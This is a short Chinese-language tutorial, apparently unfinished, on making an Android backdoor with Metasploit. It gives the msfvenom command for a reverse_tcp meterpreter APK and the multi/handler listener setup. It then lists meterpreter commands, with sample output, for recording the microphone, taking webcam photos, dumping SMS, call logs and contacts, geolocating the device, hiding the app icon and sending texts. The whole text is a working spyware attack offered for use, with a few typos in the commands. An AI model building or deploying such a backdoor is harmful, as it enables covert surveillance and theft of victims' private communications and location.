更新中
生成后门
msfvenom -p android/meterpreter/reverse_tcp LHOST=<本地IP> LPORT=<监听Port> R -o backdoor.apk
当目标执行后门时,MSF会向后门发送Payload。当Payload载入后即可开始控制目标。
开启监听任务
msf > use use exploit/multi/handler
msf exploit(multi/handler) > set LOHOST <本地IP>
LHOST => 127.0.0.1
msf exploit(multi/handler) > set LPORT <监听Port>
LPORT => 25565
msf exploit(multi/handler) > set PAYLOAD android/meterpreter/reverse_tcp
PAYLOAD => android/meterpreter/reverse_tcp
msf exploit(multi/handler) > exploit -j
record_mic
录音
webcam_snap
摄像
dump_calllog
导出并下载通话记录
dump_sms
导出并下载短信记录
dump_contacts
导出并下载通讯录
geolocate
获取地理位置
meterpreter > geolocate
[*] Current Location:
Latitude: XX.XXXXX
Longitude: XXX.XXXXXX
To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=XX.XXXXX,XXX.XXXXXX&sensor=true
清楚的显示了设备的GPS信息,并且提供了一条Google API。
hide_app_icon
隐藏APP图标
send_sms
发送短信
wakelock
开关Wakelock锁
check_root
检查设备是否被ROOT
meterpreter > check_root
[+] Device is rooted
可以看出该设备已被ROOT